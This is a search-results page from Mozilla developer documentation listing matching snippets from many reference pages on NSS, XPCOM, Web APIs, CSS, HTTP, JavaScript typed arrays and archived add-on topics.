... -force disable modutil's interactive prompts so it can be run
from a script.
... modutil supports several mechanisms: rsa, dsa, rc2, rc4, rc5, aes, des, dh, sha1, sha256, sha512, ssl, tls, md5, md2, random (for random number generation), and
friendly (meaning certificates are publicly readable).
...And 8 more matches
Necko Architecture
architecture after a few iterations of our original design, the current necko architecture looks something like this: urls necko's primary responsibility is moving data
from one location, to another location.
... handlers & channels nsichannel provides a data access interface which allows you to read or write data
from or to a uri.
... there is a 1-to-1 relationship between uris and channels (if you go so far as to create a channel
from a uri, which is not required if all you need is a parsed representation of a uri string).
...And 8 more matches
Scripting Java
the reason is that javascript has its own top-level objects boolean, math, number, object, and string that are different
from the classes by those names defined in the java.lang package.
...using a fully qualified name, the above example would look as follows: $ java org.mozilla.javascript.tools.shell.main js> jspackage = packages.org.mozilla.javascript; [javapackage org.mozilla.javascript] js> jspackage.context.currentcontext; org.mozilla.javascript.context@bb6ab6 alternatively, if you want to import just one class
from a package you can do so using the importclass() method.
...this works just as in java, with the use of the new operator: js> new java.util.date() thu jan 24 16:18:17 est 2002 if we store the new object in a javascript variable, we can then call methods on it: js> f = new java.io.file("test.txt") test.txt js> f.exists() true js> f.getname() test.txt static methods and fields can be accessed
from the class object itself: js> java.lang.math.pi 3.141592653589793 js> java.lang.math.cos(0) 1 in javascript, unlike java, the method by itself is an object and can be evaluated as well as being called.
...And 8 more matches
JS::CompileOptions
constructor js::readonlycompileoptions(); // added in spidermonkey 31 js::owningcompileoptions(jscontext *cx); // added in spidermonkey 31 js::compileoptions(jscontext *cx, jsversion version = jsversion_unknown); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
... the web platform allows scripts to be loaded
from arbitrary cross-origin sources.
... bool copy(jscontext *cx, const readonlycompileoptions &rhs) copy compile options
from rhs.
...And 8 more matches
Handling Mozilla Security Bugs
note that the focus of this new structure is restricted solely to addressing actual security vulnerabilities arising
from problems in mozilla code.
... this work is separate
from the work of developers adding new security features (cryptographically-based or otherwise) to mozilla, although obviously many of the same people will be involved in both sets of activities.
... background security vulnerabilities are different
from other bugs, because their consequences are potentially so severe: users' private information (including financial information) could be exposed, users' data could be destroyed, and users' systems could be used as platforms for attacks on other systems.
...And 8 more matches
Building the WebLock UI
the third section, overlaying new user interface into mozilla, describes how to create an overlay into the browser that will make this dialog accessible
from a mozilla build.
... the overlay section, where we discuss how to import scripts, images, and other resources
from mozilla into your own ui, is by far the more complicated of the two.
...a boolean wlocked variable can do this: // initialize the wlocked variable as unlocked var wlocked = 0; then the functions that get called
from the interface and call through to the lock and unlock methods of the weblock component must also adjust this variable accordingly: function wlock() { // check to see if locking is on or off weblock.lock(); wlocked = 1; } function wunlock() { // check to see if locking is on or off weblock.unlock(); wlocked = 0; } an important preliminary of these functions is that the weblock co...
...And 8 more matches
How to build a binary XPCOM component using Visual Studio
xpcom components can be implemented in c, c++, and javascript, and can be used
from c, c++, and javascript.
... that means you can call javascript methods
from c++ and vice versa.
...this tutorial uses microsoft’s
free visual c++ express and the sample project in the next paragraph.
...And 8 more matches
nsDependentCString
nsdependentcstring(const nscstring_internal&, pruint32) constructs an nsdependentstring
from an existing flat string.
... @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
...And 8 more matches
inIDOMUtils
inherits
from: nsisupports last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/inspector/dom-utils;1 as a service: var inidomutils = components.classes["@mozilla.org/inspector/dom-utils;1"] .getservice(components.interfaces.inidomutils); method overview void addpseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); void clearpseudoclasslocks(in nsidomelement aelement); [implicit_jscontext] jsval colornametorgb(in domstring acolorname); nsiarray getbindingurls(in nsidomelement aelement); nsidomnodelist getchildrenfornode(in nsidomnode anode, in boolean ashowinganonymouscontent...
...if you have requested anonymous content, then if the element has an xbl binding then this will be the binding's anonymous nodes, otherwise if the element is itself an anonymous node containing an insertion point then this will be a list combining the element's explicit children
from its binding parent's anonymous nodes and any children inserted as a result of the insertion point.
...the parent of a document node is the
frame/i
frame containing that document.
...And 8 more matches
nsIDownloadManager
inherits
from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) implemented by: @mozilla.org/download-manager;1.
... gecko 1.9.1 void open(in nsidomwindow aparent, in nsidownload adownload); obsolete since gecko 1.9.1 void openprogressdialogfor(in nsidownload adownload, in nsidomwindow aparent, in boolean acanceldownloadonclose); obsolete since gecko 1.9.1 void pausedownload(in unsigned long aid); void removedownload(in unsigned long aid); void removedownloadsbytime
frame(in long long abegintime, in long long aendtime); void removelistener(in nsidownloadprogresslistener alistener); void resumedownload(in unsigned long aid); void retrydownload(in unsigned long aid); void savestate(); obsolete since gecko 1.8 void startbatchupdate(); obsolete since gecko 1.9.1 attributes attribute type descrip...
... void addlistener( in nsidownloadprogresslistener alistener ); parameters alistener the nsidownloadprogresslistener object to receive status information
from the download manager.
...And 8 more matches
nsIFileProtocolHandler
inherits
from: nsiprotocolhandler last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview nsifile getfile
fromurlspec(in autf8string url); autf8string geturlspec
fromactualfile(in nsifile file); autf8string geturlspec
fromdir(in nsifile file); autf8string geturlspec
fromfile(in nsifile file); nsiuri newfileuri(in nsifile afile); nsiuri readurlfile(in nsifile file); methods getfile
fromurlspec() converts the url string into the corresponding nsifile if possible.
...nsifile getfile
fromurlspec( in autf8string url ); parameters url the url string to convert.
...geturlspec
fromactualfile() converts the nsifile to the corresponding url string.
...And 8 more matches
nsIMicrosummaryService
1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) implemented by: @mozilla.org/microsummary/service;1 as a service: var microsummaryservice = components.classes["@mozilla.org/microsummary/service;1"] .getservice(components.interfaces.nsimicrosummaryservice); method overview void addgenerator(in nsiuri generatoruri); nsimicrosummary createmicrosummary(in nsiuri p...
...maryset getmicrosummaries(in nsiuri pageuri, in long long bookmarkid); nsimicrosummary getmicrosummary(in long long bookmarkid); boolean hasmicrosummary(in long long bookmarkid); nsimicrosummarygenerator installgenerator(in nsidomdocument xmldefinition); boolean ismicrosummary(in long long bookmarkid, in nsimicrosummary microsummary); nsimicrosummary re
freshmicrosummary(in long long bookmarkid); void removemicrosummary(in long long bookmarkid); void setmicrosummary(in long long bookmarkid, in nsimicrosummary microsummary); methods addgenerator() install the microsummary generator
from the resource at the supplied uri.
...in the old rdf-based bookmarks datastore, bookmark ids are nsird
fresource objects.
...And 8 more matches
nsIRequest
inherits
from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) for example nsichannel typically passes itself as the nsirequest argument to the nsistreamlistener on each onstartrequest, ondataavaliable, and onstoprequest invocation.
... load_background 1 << 0 do not deliver status notifications to the nsiprogresseventsink, or keep this load
from completing the nsiloadgroup it may belong to.
...it does not, however, prevent cached content
from being used to satisfy this request.
...And 8 more matches
nsIWindowWatcher
inherits
from: nsisupports last changed in gecko 0.9.6 usage notes: this component has an activewindow property.
...afeatures, in nsisupports aarguments); void registernotification(in nsiobserver aobserver); void setwindowcreator(in nsiwindowcreator creator); void unregisternotification(in nsiobserver aobserver); attributes attribute type description activewindow nsidomwindow the watcher serves as a global storage facility for the current active (
front most non-floating-palette-type) window, storing and returning it on demand.
... getwindowbyname() retrieve an existing window (or
frame).
...And 8 more matches
nsIZipWriter
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) once all the operations you wish to perform are added to the queue, a call to processqueue() will perform the operations in the order they were added to the queue.
... methods addentrychannel() adds data
from a channel to the zip file.
... achannel the channel
from which to get the data.
...And 8 more matches
Storage
the api is currently "un
frozen", which means it is subject to change at any time; in fact, it has changed somewhat with each release of firefox since it was introduced, and will likely continue to do so for a while.
... similarly, the c++ looks like this: rv = mdbconn->executesimplesql(ns_literal_cstring("create temp table table_name (column_name integer)")); ns_ensure_success(rv, rv); results to be returned however, if you need to get results back, you should create the statement with the mozistorageconnection.createstatement() api like this in javascript: var statement = dbconn.createstatement("select *
from table_name where column_name = :parameter"); this example uses a named placeholder called "parameter" to be bound later (described in binding parameters).
... similarly, the c++ looks like this: nscomptr<mozistoragestatement> statement; rv = dbconn->createstatement(ns_literal_cstring("select *
from table_name where column_name = ?1"), getter_addrefs(statement)); ns_ensure_success(rv, rv); this example uses the numbered placeholder indexed by zero for a parameter to be bound later (described in binding parameters).
...And 8 more matches
DOM Inspector internals - Firefox Developer Tools
this is the two-pane inspector that appears when ctrl+shift+i (or cmd+shift+i) is pressed
from one of the applications for which dom inspector has explicit support (i.e., menuitems placed via overlay).
... dom inspector
from a high-level perspective the dom inspector primary ui consists of some toolbars and a panelset.
...at the top of each panel is a toolbar which contains a menu button allowing you to choose which viewer to display
from the viewer list, a label displaying the name of the currently active viewer, and another menu button allowing you to issue viewer-specific commands.
...And 8 more matches
Browser Console - Firefox Developer Tools
opening the browser console you can open the browser console in one of two ways:
from the menu: select "browser console"
from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on macos).
...
from the keyboard: press ctrl+shift+j (or cmd+shift+j on a mac).
... you can also start the browser console by launching firefox
from the command line and passing the -jsconsole argument: /applications/firefoxaurora.app/contents/macos/firefox-bin -jsconsole the browser console looks like this: you can see that the browser console looks and behaves very much like the web console: most of the window is occupied by a pane that display messages.
...And 8 more matches
Debugger.Source - Firefox Developer Tools
debugger.source for javascript for a debugger.source instance representing a piece of javascript source code, its properties provide the source code itself as a string, and describe where it came
from.
... each debugger.script instance refers to the debugger.source instance holding the source code
from which it was produced.
... if a given piece of source code is presented to the javascript implementation more than once, with the same origin metadata, the javascript implementation may generate a
fresh debugger.source instance to represent each presentation, or it may use a single debugger.source instance to represent them all.
...And 8 more matches
Detecting device orientation - Web APIs
it is different
from the deviceorientationevent because it is listening for changes in acceleration as opposed to orientation.
...unction can look something like this: function handleorientation(event) { var absolute = event.absolute; var alpha = event.alpha; var beta = event.beta; var gamma = event.gamma; // do stuff with the new orientation data } orientation values explained the value reported for each axis indicates the amount of rotation around a given axis in reference to a standard coordinate
frame.
... the deviceorientationevent.alpha value represents the motion of the device around the z axis, represented in degrees with values ranging
from 0 to 360.
...And 8 more matches
EventSource - Web APIs
once the connection is opened, incoming messages
from the server are delivered to your code in the form of events.
... unlike websockets, server-sent events are unidirectional; that is, data messages are delivered in one direction,
from the server to the client (such as a user's web browser).
... that makes them an excellent choice when there's no need to send data
from the client to the server in message form.
...And 8 more matches
Using the Gamepad API - Web APIs
gamepadconnected), a second event is dispatched to the focused window, gamepaddisconnected: window.addeventlistener("gamepaddisconnected", function(e) { console.log("gamepad disconnected
from index %d: %s", e.gamepad.index, e.gamepad.id); }); the gamepad's index property will be unique per-device connected to the system, even if multiple controllers of the same type are used.
... performing such checks tends to involve using the gamepad object in conjunction with an animation loop (e.g., requestanimation
frame), where developers want to make decisions for the current
frame based on the state of the gamepad or gamepads.
...each entry in the array is a floating point value in the range -1.0 - 1.0, representing the axis position
from the lowest value (-1.0) to the highest value (1.0).
...And 8 more matches
RTCOutboundRtpStreamStats - Web APIs
properties the rtcoutboundrtpstreamstats dictionary includes the following properties in addition to those it inherits
from rtcsentrtpstreamstats, rtcrtpstreamstats, and rtcstats.
...this is an indicator of how often the stream has lagged, requiring
frames to be skipped in order to catch up.
...
framesencoded the number of
frames that have been successfully encoded so far for sending on this rtp stream.
...And 8 more matches
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
both of these provide information about the same batch of packets being transmitted
from the remote peer to the local device.
... the difference is that remote-outbound-rtp describes statistics about the transmission(s)
from the perspective of the remote peer, while inbound-rtp offers statistics about the incoming data
from the local peer's perspective.
... let endinboundstats = findreportentry(endreport, "remoteid", endremoteoutbound.id); let elapsedtime = (endremoteoutbound.timestamp - startremoteoutbound.timestamp) / 1000; /* in seconds */ let packetssent = endremoteoutbound.packetssent - startremoteoutbound.packetssent; let bytessent = endremoteoutbound.bytessent - startremoteoutbound.bytessent; let
framesdecoded = endinboundstats.
framesdecoded - startinboundstats.
framesdecoded; let
framerate =
framesdecoded / elapsedtime; let timestring = ""; if (!isnan(elapsedtime)) { timestring = ` representing ${elapsedtime}s`; } let
framestring = ""; if (!isnan(
framesdecoded)) {
framestring = `decoded ${
framesdecoded}
fra...
...And 8 more matches
Request.cache - Web APIs
if there is a match and it is
fresh, it will be returned
from the cache.
...if the server indicates that the resource has not changed, it will be returned
from the cache.
... otherwise the resource will be downloaded
from the server and the cache will be updated.
...And 8 more matches
SourceBuffer - Web APIs
coded media
frames with timestamps within this range will be appended, whereas those outside the range will be filtered out.
...sourcebuffer.updating changes
from true to false.
...sourcebuffer.updating changes
from true to false.
...And 8 more matches
TextMetrics - Web APIs
textmetrics.actualboundingboxleft read only is a double giving the distance
from the alignment point given by the canvasrenderingcontext2d.textalign property to the left side of the bounding rectangle of the given text, in css pixels.
... textmetrics.actualboundingboxright read only is a double giving the distance
from the alignment point given by the canvasrenderingcontext2d.textalign property to the right side of the bounding rectangle of the given text, in css pixels.
... textmetrics.fontboundingboxascent read only is a double giving the distance
from the horizontal line indicated by the canvasrenderingcontext2d.textbaseline attribute to the top of the highest bounding rectangle of all the fonts used to render the text, in css pixels.
...And 8 more matches
Writing a WebSocket server in C# - Web APIs
this server conforms to rfc 6455 so it will only handle connections
from chrome version 16, firefox 11, ie 10 and over.
... to create an ipaddress object
from a string, use the parse static method of ipaddress.
... networkstream methods: write(byte[] buffer, int offset, int size) writes bytes
from buffer, offset and size determine length of message.
...And 8 more matches
Using IIR filters - Web APIs
it also provides a canvas on which is drawn the
frequency response of the audio, so you can see what effect the iir filter has.
...it includes some different coefficient values for different lowpass
frequencies — you can change the value of the filternumber constant to a value between 0 and 3 to check out the different available effects.
...but what is this and how does it differ
from the biquadfilternode we have already?
...And 8 more matches
XRView - Web APIs
the webxr device api's xrview interface provides information describing a single view into the xr scene for a specific
frame, providing orientation and position information for the viewpoint.
...a 3d
frame will involve two views, one for each eye, separated by an appropriate distance which approximates the distance between the viewer's eyes.
... transform read only an xrrigidtransform which describes the current position and orientation of the viewpoint in relation to the xrreferencespace specified when getviewerpose() was called on the xr
frame being rendered.
...And 8 more matches
Web applications and ARIA FAQ - Accessibility
wai-aria is the accessible rich internet applications specification
from the web accessibility initiative at the w3c.
...more detailed browser compatibility charts are available
from multiple sources: caniuse.com the paciello group assistive technologies assistive technologies are increasingly adopting aria.
... some of them include: assistive technology minimum version for basic aria minimum version for live region and alert support nvda 2010.2 (nvda is always a
free upgrade) 2011.1 for firefox, no live region support in ie as of 2011.2.
...And 8 more matches
Handling content breaks in multicol - CSS: Cascading Style Sheets
in both contexts we control where and how things break by using properties of the css
fragmentation specification.
... in this guide we see how
fragmentation works in multicol.
...
fragmentation basics the css
fragmentation specification details how content breaks between the
fragmentation containers, or
fragmentainers.
...And 8 more matches
Typical use cases of Flexbox - CSS: Cascading Style Sheets
if i wanted all of my navigation items to have equal width, then i might use flex: auto, which is the shorthand for flex: 1 1 auto — all items grow and shrink
from a flex-basis of auto.
...this is the shorthand for flex: 1 1 0 and causes all of the items become the same width, as they are working
from a flex-basis of 0 allowing all of the space to be distributed evenly.
...you can move the class
from one item to another to change where the split happens.
...And 8 more matches
Variable fonts guide - CSS: Cascading Style Sheets
for example linux oses need the latest linux
freetype version, and macos prior to 10.13 does not support variable fonts.
...weight might range
from 1–999, whereas italic might simply be 0 or 1 (off or on).
... as defined in the specification, there are two kinds of axes: registered and custom: registered axes are simply those that are most
frequently encountered, and common enough that the authors of the specification felt it was worth standardizing.
...And 8 more matches
Introducing the CSS Cascade - CSS: Cascading Style Sheets
the cascade is an algorithm that defines how to combine property values originating
from different sources.
... while the declarations contained in most at-rules — such as those in @media, @document, or @supports — participate in the cascade, declarations contained in @key
frames don't.
...css declarations originate
from different origins: the user-agent stylesheets, the author stylesheets, and the user stylesheets.
...And 8 more matches
Viewport concepts - CSS: Cascading Style Sheets
if you magnify
from the middle of the layout viewport, the content would expand in all four directions.
... for a page containing i
frames, objects, or external svg, both the containing pages and each included file has their own unique window object.
... only the top-level window has a visual viewport that may be distinct
from the layout viewport.
...And 8 more matches
box-decoration-break - CSS: Cascading Style Sheets
the box-decoration-break css property specifies how an element's
fragments should be rendered when broken across multiple lines, columns, or pages.
... values slice the element is initially rendered as if its box were not
fragmented, after which the rendering for this hypothetical box is sliced into pieces for each line/column/page.
... note that the hypothetical box can be different for each
fragment since it uses its own height if the break occurs in the inline direction, and its own width if the break occurs in the block direction.
...And 8 more matches
conic-gradient() - CSS: Cascading Style Sheets
the conic-gradient() css function creates an image consisting of a gradient with color transitions rotated around a center point (rather than radiating
from the center).
... syntax /* a conic gradient rotated 45 degrees, starting blue and finishing red */ conic-gradient(
from 45deg, blue, red); /* a a bluish purple box: the gradient goes
from blue to red, but as only the bottom right quadrant is visible, as the center of the conic gradient is in at the top left corner */ conic-gradient(
from 90deg at 0 0, blue, red); /* colorwheel */ background: conic-gradient( hsl(360, 100%, 50%), hsl(315, 100%, 50%), hsl(270, 100%, 50%), hsl(225, 100%, 50%),...
... hsl(180, 100%, 50%), hsl(135, 100%, 50%), hsl(90, 100%, 50%), hsl(45, 100%, 50%), hsl(0, 100%, 50%) ); values <angle> preceded by the
from keyterm, and taking an angle as its value, defines the gradient rotation in clockwise direction.
...And 8 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
if the media is being streamed, it's possible that the user agent may not be able to obtain some parts of the resource if that data has expired
from the media buffer.
...the getstartdate() method can be used to determine the beginning point of the media timeline's reference
frame.
... disablepictureinpicture prevents the browser
from suggesting a picture-in-picture context menu or to request picture-in-picture automatically in some cases.
...And 8 more matches
Feature-Policy: geolocation - HTTP
by default, the geolocation api can be used within top-level documents and their same-origin child
frames.
... this directive allows or prevents cross-origin
frames
from accessing geolocation.
... this includes same-origin
frames.
...And 8 more matches
HTTP Messages - HTTP
there are two types of messages: requests sent by the client to trigger an action on the server, and responses, the answer
from the server.
...in http/2, the once human-readable message is now divided up into http
frames, providing optimization and performance improvements.
... the http/2 binary
framing mechanism has been designed to not require any alteration of the apis or config files applied: it is broadly transparent to the user.
...And 8 more matches
An overview of HTTP - HTTP
a complete document is reconstructed
from the different sub-documents fetched, for instance text, layout description, images, videos, scripts, and more.
...arental controls) load balancing (to allow multiple servers to serve the different requests) authentication (to control access to different resources) logging (allowing the storage of historical information) basic aspects of http http is simple http is generally designed to be simple and human readable, even with the added complexity introduced in http/2 by encapsulating http messages into
frames.
...only pages
from the same origin can access all the information of a web page.
...And 8 more matches
BigInt64Array - JavaScript
static methods bigint64array.
from() creates a new bigint64array
from an array-like or iterable object.
... see also array.
from().
... bigint64array.prototype.bytelength returns the length (in bytes) of the bigint64array
from the start of its arraybuffer.
...And 8 more matches
BigUint64Array - JavaScript
static methods biguint64array.
from() creates a new biguint64array
from an array-like or iterable object.
... see also array.
from().
... biguint64array.prototype.bytelength returns the length (in bytes) of the biguint64array
from the start of its arraybuffer.
...And 8 more matches
Float32Array - JavaScript
static methods float32array.
from() creates a new float32array
from an array-like or iterable object.
... see also array.
from().
... float32array.prototype.bytelength returns the length (in bytes) of the float32array
from the start of its arraybuffer.
...And 8 more matches
Float64Array - JavaScript
static methods float64array.
from() creates a new float64array
from an array-like or iterable object.
... see also array.
from().
... float64array.prototype.bytelength returns the length (in bytes) of the float64array
from the start of its arraybuffer.
...And 8 more matches
Int16Array - JavaScript
static methods int16array.
from() creates a new int16array
from an array-like or iterable object.
... see also array.
from().
... int16array.prototype.bytelength returns the length (in bytes) of the int16array
from the start of its arraybuffer.
...And 8 more matches
Int32Array - JavaScript
static methods int32array.
from() creates a new int32array
from an array-like or iterable object.
... see also array.
from().
... int32array.prototype.bytelength returns the length (in bytes) of the int32array
from the start of its arraybuffer.
...And 8 more matches
Int8Array - JavaScript
static methods int8array.
from() creates a new int8array
from an array-like or iterable object.
... see also array.
from().
... int8array.prototype.bytelength returns the length (in bytes) of the int8array
from the start of its arraybuffer.
...And 8 more matches
Intl.NumberFormat() constructor - JavaScript
a subset of units
from the full list was selected for use in ecmascript.
... the following properties fall into two groups: minimumintegerdigits, minimum
fractiondigits, and maximum
fractiondigits in one group, minimumsignificantdigits and maximumsignificantdigits in the other.
... if at least one property
from the second group is defined, then the first group is ignored.
...And 8 more matches
Uint16Array - JavaScript
static methods uint16array.
from() creates a new uint16array
from an array-like or iterable object.
... see also array.
from().
... uint16array.prototype.bytelength returns the length (in bytes) of the uint16array
from the start of its arraybuffer.
...And 8 more matches
Uint32Array - JavaScript
static methods uint32array.
from() creates a new uint32array
from an array-like or iterable object.
... see also array.
from().
... uint32array.prototype.bytelength returns the length (in bytes) of the uint32array
from the start of its arraybuffer.
...And 8 more matches
Codecs used by WebRTC - Web media technologies
containerless media webrtc uses bare mediastreamtrack objects for each track being shared
from one peer to another, without a container or even a mediastream associated with the tracks.
...it's encouraged that video be encoded at a
frame rate and size no lower than that, since that's essentially the lower bound of what webrtc generally is expected to handle.
...this is due to a change in google play store requirements that prevent firefox
from downloading and installing the openh264 codec needed to handle h.264 in webrtc connections.
...And 8 more matches
Web Performance
web performance includes both objective measurements like time to load,
frames per second, and time to become interactive, and subjective experiences of how long it felt like it took the content to load.
...we cover them in this section: key performance guides animation performance and
frame rateanimation on the web can be done via svg, javascript, including <canvas> and webgl, css animation, <video>, animated gifs and even animated pngs and other image types.
... the performance cost of animating a css property can vary
from one property to another, and animating expensive css properties can result in jank as the browser struggles to hit a smooth
frame rate.critical rendering paththe critical rendering path is the sequence of steps the browser goes through to convert the html, css, and javascript into pixels on the screen.
...And 8 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
that way, the next time someone visits the app
from the device, the ui loads
from the cache immediately and any new content is requested
from the server (if it isn’t available in the cache already).
... we can control what is requested
from the server and what is retrieved
from the cache with a service worker, which will be explained in detail in the next article — for now let's focus on the structure itself.
... benefits of the app shell pattern this architecture allows a web site to benefit the most
from all the pwa features — it caches the app shell and manages the dynamic content in a way that greatly improves the performance.
...And 8 more matches
Paths - SVG: Scalable Vector Graphics
an uppercase letter specifies absolute coordinates on the page, and a lowercase letter specifies relative coordinates (e.g., move 10px up and 7px to the left
from the last point).
...l takes two parameters—x and y coordinates—and draws a line
from the current position to a new position.
...this command draws a straight line
from the current position back to the first point of the path.
...And 8 more matches
Same-origin policy - Web security
the same-origin policy is a critical security mechanism that restricts how a document or script loaded
from one origin can interact with a resource
from another origin.
... http://store.company.com/dir/inner/another.html same origin only the path differs https://store.company.com/page.html failure different protocol http://store.company.com:81/dir/page.html failure different port (http:// is port 80 by default) http://news.company.com/dir/page.html failure different host inherited origins scripts executed
from pages with an about:blank or javascript: url inherit the origin of the document containing that url, since these types of urls do not contain information about an origin server.
... for example, assume a script
from the document at http://store.company.com/dir/other.html executes the following: document.domain = "company.com"; afterward, the page can pass the same-origin check with http://company.com/dir/page.html (assuming http://company.com/dir/page.html sets its document.domain to "company.com" to indicate that it wishes to allow that - see document.domain for more).
...And 8 more matches
page-mod - Archive of obsolete content
data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: data.url("my-script.js") }); var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: [data.url("jquery-1.7.min.js"), data.url("my-script.js")] });
from firefox 34, you can use "./my-script.js" as an alias for self.data.url("my-script.js").
... to stop a page-mod
from making any more modifications, call its destroy() method.
... attachto controls whether to attach scripts to tabs that were already open when the page-mod was created, and whether to attach scripts to i
frames as well as the topmost document.
...And 7 more matches
ui - Archive of obsolete content
this module exports constructors for the following: actionbutton togglebutton
frame toolbar sidebar each object has its own reference page, linked above: for all the details please refer to the reference page.
... attaching panels to buttons is only supported
from firefox 30 onwards.
...
from firefox 30 onwards, you can attach panels to toggle buttons, by passing the button into the panel's constructor or its show() method:
frame a
frame enables you to create an html i
frame, using bundled html, css and javascript.
...And 7 more matches
/loader - Archive of obsolete content
it can be loaded as a javascript code module: let { loader, require, unload } = components.utils.import('resource://gre/modules/commonjs/toolkit/loader.js'); it can be required as a commonjs module
from a module loaded in the loader itself: let { loader, require, unload } = require('toolkit/loader'); what is it good for ?
...llows: // devtools/gcli -> resource:///modules/devtools/gcli.js // panel -> resource:///modules/panel.js '': 'resource:///modules/', // allow relative urls and resolve them to add-on root: // ./main -> resource://my-addon/root/main.js './': 'resource://my-addon/root/' } }); the order of keys in paths is irrelevant since they are sorted by keys
from longest to shortest to allow overlapping mapping.
... prototype: object that the returned sandbox will inherit
from.
...And 7 more matches
Downloading Files - Archive of obsolete content
const webbrowserpersist = components.constructor("@mozilla.org/embedding/browser/nswebbrowserpersist;1", "nsiwebbrowserpersist"); var persist = webbrowserpersist(); var targetfile = services.dirsvc.get("desk", ci.nsifile); targetfile.append("file.bin"); // obtain the privacy context of the browser window that the url // we are downloading comes
from.
...var privacy = privatebrowsingutils.privacycontext
fromwindow(urlsourcewindow); persist.persistflags = persist.persist_flags_
from_cache | persist.persist_flags_replace_existing_files; persist.saveuri(uritosave, null, null, null, "", targetfile, privacy); if you don't need detailed progress information, you might be happier with nsidownloader.
.../embedding/browser/nswebbrowserpersist;1", "nsiwebbrowserpersist"); var persist = webbrowserpersist(); var targetfile = services.dirsvc.get("desk", ci.nsifile); targetfile.append("file.bin"); var obj_uri = services.io.newuri(aurltodownload, null, null); // obtain the privacy context of the browser window that the url // we are downloading comes
from.
...And 7 more matches
Miscellaneous - Archive of obsolete content
ts https://developer.mozilla.org/samples/domref/dispatchevent.html also, new in firefox 3 / gecko 1.9: var utils = window.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindowutils); utils.sendmouseevent("mousedown", 10, 10, 0, 1, 0); utils.sendmouseevent("mouseup", 10, 10, 0, 1, 0); getting the currently selected text
from browser.xul overlay context: var selectedtext = document.commanddispatcher.focusedwindow.getselection().tostring(); or: content.getselection(); // |window| object is implied; i.e., window.content.getselection() or: getbrowserselection(); // |window| object is implied; i.e., window.getbrowserselection() this final option massages the selection to remove leading and trailing whitespace.
...urrentvalue.substring(element.selectionend, currentvalue.length); element.value = beforetext + snippet + aftertext; element.focus(); //put the cursor after the inserted text element.setselectionrange(selectionend, selectionend); } inserttext(document.getelementbyid("example"), "the text to be inserted"); disabling javascript programmatically // disable js in the currently active tab
from the context of browser.xul gbrowser.docshell.allowjavascript = false; if this isn't your browser, you should save the value and restore it when finished.
... using string bundles
from javascript assuming the extension has myext.properties with name/value pairs such as: invalid.url=the speficied url, %s, is invalid.
...And 7 more matches
Adding windows and dialogs - Archive of obsolete content
this can only be used
from the chrome, not
from regular html javascript.
...in general, windows should not be resizable unless they display dynamically generated content
from a datasource, such as lists or trees that may need resizing to have a better view of the content.
... others unprivileged javascript can also use the window.prompt function to receive text input
from the user.
...And 7 more matches
Localizing an extension - Archive of obsolete content
if you haven't already created an extension, or would like to re
fresh your memory, take a look at the previous articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension download the sample you can download this article's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension.
...the stockwatcher2.dtd file contains the mappings for the stockwatcher2.xul file: <!entity panel_loading "loading..."> <!entity menu_re
fresh_now.label "re
fresh now"> <!entity menu_apple.label "apple (aapl)"> <!entity menu_google.label "google (goog)"> <!entity menu_microsoft.label "microsoft (msft)"> <!entity menu_yahoo.label "yahoo (yhoo)"> update the xul files each xul file needs to reference its corresponding locale file.
...to options.xul, we add this line: <!doctype window system "chrome://stockwatcher2/locale/options.dtd"> we add a similar line to the stockwatcher.xul file: <!doctype overlay system "chrome://stockwatcher2/locale/stockwatcher2.dtd"> in larger applications you might need to use entities
from several locale files in a single xul file.
...And 7 more matches
Introducing the Audio API extension - Archive of obsolete content
deprecated since gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19)this feature has been removed
from the web standards.
...this api has been deprecated since gecko 22, disabled since gecko 28, and removed
from gecko 31.
...this event has the following attributes: mozchannels: number of channels mozsamplerate: sample rate per second moz
framebufferlength: number of samples collected in all channels this information is needed later to decode the audio data stream.
...And 7 more matches
Java in Firefox Extensions - Archive of obsolete content
if you are in need of calling java code
from within a firefox extension, you can make use of liveconnect.
... liveconnect gives your extension's javascript code (linked
from or contained in xul code) access to 2 objects: java and packages (note that per this thread, although the new documentation for the liveconnect reimplementation states that these globals will be deprecated (in the context of applets), "firefox and the java plug-in will continue to support the global java/packages keywords, in particular in the context of firefox extensions.").
... the following technique only works in javascript code linked
from or contained in xul files.
...And 7 more matches
Table Cellmap - Archive of obsolete content
n the table layout use the cellmap for two purposes: quick lookup of table structural data store of the border collapse data the cellmap code is contained in nscellmap.cpp and nscellmap.h this document does currently describe only the quick lookup part of the game, border collapse is still far away cellmap data - overview the entries in the cellmap contain information about the table cell
frame corresponding to a given row and column number (celldata.h).
...83 union { 84 nstablecell
frame* morigcell; 85 long mbits; 86 }; the idea behind this construction is a entry in the cellmap can be either the origin of a row- or colspan (a cell cell without a defined row- or colspan attribute assumes 1 as a default value), or a entry which is only covered by a row- or colspan.
... entries which are a origin have a direct corresponding tablecell
frame.
...And 7 more matches
The life of an HTML HTTP request - Archive of obsolete content
(1) the loading of the url is started in nswebshell::doloadurl (called
from some loadurl or loaduri variant in the webshell).
... (3) when data is starting to come
from the webserver the nsichannel calls the onstartrequest in the documenloader.
... the parser typically gets data
